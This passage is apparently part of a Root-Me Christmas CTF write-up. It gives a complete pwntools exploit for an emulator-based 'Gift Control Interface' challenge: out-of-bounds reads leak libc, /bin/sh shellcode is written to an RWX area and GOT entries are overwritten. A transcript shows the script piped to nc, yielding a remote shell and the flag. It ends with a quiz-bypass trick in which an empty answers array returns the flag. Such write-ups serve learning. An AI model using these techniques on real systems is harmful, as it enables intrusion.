      0x7ffff7f9f000     0x7ffff7fb5000    0x16000  r--p   /usr/lib/libunicorn.so.2
      0x7ffff7fb5000     0x7ffff7fbb000     0x6000  rw-p   /usr/lib/libunicorn.so.2
      0x7ffff7fbd000     0x7ffff7fbf000     0x2000  rw-p
      0x7ffff7fbf000     0x7ffff7fc3000     0x4000  r--p   [vvar]
      0x7ffff7fc3000     0x7ffff7fc5000     0x2000  r-xp   [vdso]
      0x7ffff7fc5000     0x7ffff7fc6000     0x1000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7fc6000     0x7ffff7ff1000    0x2b000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ff1000     0x7ffff7ffb000     0xa000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffb000     0x7ffff7ffd000     0x2000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffff7ffd000     0x7ffff7fff000     0x2000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
      0x7ffffffde000     0x7ffffffff000    0x21000  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000  --xp   [vsyscall]

With this setup, gift_list is close enough to libraries that we can OOB read and write to these libraries. The stack is still a bit too far away but we won’t need it.

Because of ASLR, the offset between our gift_list and other libraries is not exactly constant. However, starting from the libunicorn JIT area, the mappings are contiguous. I used this fact to design the following exploit:

  1. Allocate a large enough gift_list so that a new memory area is mapped not too far away from the libraries.
  2. Modify gift_max to allow OOB read and writes.
  3. Using a loop, read out of bounds starting approximately from libm.so.6 (we don’t exactly now where that is), until we find a ELF header. Chances are this is the start of libc.so.6 memory mappings. Now we know the offset between gift_list and libc.
  4. Leak a libc address using OOB read inside the libc.so.6 memory mappings and calculate the base address of libc from that leak.
  5. Using the previous leak, we can calculate interesting offsets and addresses: libc, libunicorn and the large RWX memory area.
  6. Write a shellcode somewhere in the RWX area.

The last step is to redirect code execution to the shellcode in the RWX area. There are many ways to achieve that at this point. I used the fact that libunicorn.so.2 is compiled with “Partial RELRO”. I sprayed random GOT entries of libunicorn (there are more than 250) with the shellcode address. When one of these functions is used, the flow is redirected to the shellcode.

Below is the full exploit script. It works about half the time remotely (it could be improved) and gives a shell on the server. The critical step is the loop to find a ELF header, which can fail because of ASLR randomness.

from pwn import *
import sys

context.arch = 'amd64'
libc = ELF('./libs/libc.so.6')
libunicorn = ELF('./libs/libunicorn.so.2')

def command_init():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1337\n'

def command_add():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1338\n'

def command_get():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1339\n'

def command_edit():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1340\n'

def command_submit():
    return 'mov %rax, 0xcafe0018\nmovq [%rax], 0x1341\n'

def write_gift(value):
    return f'mov %rax, 0xcafe0000\nmovd [%rax], {hex(value)}\n'

def write_gift_from_rax():
    return f'mov %rbx, 0xcafe0000\nmovd [%rbx], %eax\n'

def write_gift_max(value):
    return f'mov %rax, 0xcafe0008\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'

def write_gift_idx_from_ecx():
    return f'mov %rax, 0xcafe0010\nmovd [%rax], %ecx\n'

def write_gift_idx(value):
    return f'mov %rax, 0xcafe0010\nmovq %rbx, {hex(value)}\nmovq [%rax], %rbx\n'

def read_gift():
    return 'mov %rax, [0xcafe0000]\n'

def read_gift_max():
    return 'mov %rax, [0xcafe0008]\n'

def read_gift_idx():
    return 'mov %rax, [0xcafe0010]\n'

# These addresses are subject to ASLR in the real program
# But we can use the (approximate) offset between some of them
first_gift = 0x7f8d74dff010
libm_base = 0x7f8db9119000
libc_base = 0x7f8db9202000
libunicorn_base = 0x7f8db9414000
somewhere_in_rwx = 0x7f8d99094800

# Mmap large area (it lands somewhere before all the libs)
payload = write_gift_max(0x1000000)
payload += command_init()
# Set a larger limit to OOB read / write
payload += write_gift_max(0xf0000000)

# Read OOB until we find a ELF header
off = (libm_base + 0x100000 - first_gift) // 4
payload += f'mov %rcx, {hex(off)}\n'
# Loop begin
payload += 'loop1:\n'
payload += 'add %rcx, 1\n'
# Read 4 bytes
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Stop if ELF header found
payload += 'cmp %eax, 0x464c457f\n'
payload += 'jne loop1\n'
# We are probably at the beginning of a library now
# Good enough chance that library is libc (but it might be libm or something else, in that case exploit will fail)

# SAVED GIFT 0: GIFT OFFSET TO LIBC
payload += 'mov %rax, %rcx\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 1,2: ADDRESS OF LIBC
# Read a libc address from libc metadata
payload += f'add %rcx, {0x203678 // 4}\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
# Calculate libc address from that leak
payload += 'sub %rax, 0x204b80\n'
payload += write_gift_from_rax()
payload += command_add()
payload += f'add %rcx, 1\n'
payload += write_gift_idx_from_ecx()
payload += command_get()
payload += read_gift()
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 3,4: ADDRESS OF RWX ZONE
# Calculate address of somewhere in RWX using libc base
payload += write_gift_idx(2)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(1)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'
payload += f'sub %rdx, {libc_base - somewhere_in_rwx}\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()
payload += 'shr %rdx, 32\n'
payload += 'mov %rax, %rdx\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 5: GIFT OFFSET TO RWX ZONE
# Calculate gift offset to rwx zone using libc offset
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'sub %rax, {(libc_base - somewhere_in_rwx) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()

# SAVED GIFT 6: GIFT OFFSET TO LIBUNICORN
# Calculate git offset to libunicorn base using libc offset, libc base and offset between libc and libunicorn
# unicorn_offset = libc_offset + (unicorn_base - libc_base) // 4
payload += write_gift_idx(0)
payload += command_get()
payload += read_gift()
payload += f'add %rax, {(libunicorn_base - libc_base) // 4}\n'
payload += write_gift_from_rax()
payload += command_add()

# ==============================

# /bin/sh shellcode
shellcode = asm(shellcraft.sh())
shellcode = shellcode + b'\x90' * (4 - (len(shellcode) % 4))

# Get offset to RWX area
payload += write_gift_idx(5)
payload += command_get()
payload += read_gift()
payload += 'mov %rcx, %rax\n'

# Write shellcode to RWX area
for i in range(0, len(shellcode), 4):
    to_write = u32(shellcode[i:i+4])
    payload += write_gift_idx_from_ecx()
    payload += f'mov %rax, {to_write}\n'
    payload += write_gift_from_rax()
    payload += command_edit()
    payload += 'add %rcx, 1\n'

# shellcode address to write in GOT
payload += write_gift_idx(4)
payload += command_get()
payload += read_gift()
payload += 'mov %rdx, %rax\n'
payload += 'shl %rdx, 32\n'
payload += write_gift_idx(3)
payload += command_get()
payload += read_gift()
payload += 'add %rdx, %rax\n'

# uni offset
payload += write_gift_idx(6)
payload += command_get()
payload += read_gift()
payload += 'mov %rdi, %rax\n'

# Overwrite some GOT entries in libunicorn (only LSB)
# Overwriting GOT entries 50-100 seems to do the job
i = 0
for sym in libunicorn.got:
    addr = libunicorn.got[sym]
    if addr < 0x15e000:
        continue
    i += 1
    if i < 50:
        continue
    if i > 100:
        break
    # where to write (got entry)
    payload += 'mov %rcx, %rdi\n'
    payload += f'add %rcx, {addr // 4}\n'
    payload += write_gift_idx_from_ecx()
    # what to write (shellcode address 4 LSB)
    payload += f'mov %rax, %rdx\n'
    payload += write_gift_from_rax()
    payload += command_edit()

payload += command_submit()

payload = asm(payload)
sys.stdout.buffer.write(str(len(payload)).encode() + b'\n' + payload)

Running the script outputs a x86_64 program to send to the server to execute /bin/sh.

$ (python solve.py SILENT; cat) | nc dyn-01.xmas.root-me.org 30147
Ho ho ho! Welcome to the GCI (Gift Control Interface)
You can write your gift list here and I will execute it for you
Code length (16384 max): Enter your code: Executing your code...
id
uid=1001(user) gid=1001(user) groups=1001(user)
ls -la
total 36
drwxr-xr-x 1 root root  4096 Dec 23 09:57 .
drwxr-xr-x 1 root root  4096 Dec 23 09:57 ..
-rw-r--r-- 1 root root    33 Dec 23 09:51 flag.txt
-rwxr-xr-x 1 root root 17056 Dec 23 09:51 gci
cat flag.txt
RM{Deer_s4nta_1_w4nt_4_Un1c0rn!}

Day 24 - Root-Xmas’ Quiz

Category: Quiz

Day 24 - Root-Xmas&rsquo; Quiz

The last challenge is a Root Me trivia quiz with 30 random multiple choice questions. Our answers are submitted at once at the end of the quiz, and the flag is a reward for getting all correct answers.

The format of the POST data at the end of the quiz is the following.

{
  "answers":[
    // {"id":[question_id], "answer": "[answer]"},
    {"id":20, "answer": "29b chemin de grave, 69450 SAINT-CYR AU MONT D'OR"},
    [...]
    {"id":19, "answer": "xxx"},
  ]
}

The server responds with something like this.

{
  "all_correct": false,
  "flag": null, // The flag is here if there is no wrong answer
  "results": [
    {
      "correct": true,
      "question": "What is the association's address?"
    },
    [...]
    {
      "correct": false,
      "question": "Obviously, the best categorie of challenges from Root-Xmas is:"
    }
  ]
}

There was an unintended solution when the challenge was released. By sending a json with an empty “answers” array, the server would not detect any wrong answer and would give us the flag. Similarly, sending the same answer for the same question 30 times was enough to get the flag.

After the fix, the only way to solve it is to answer 30 questions correctly, though.

Congratulations page of the quiz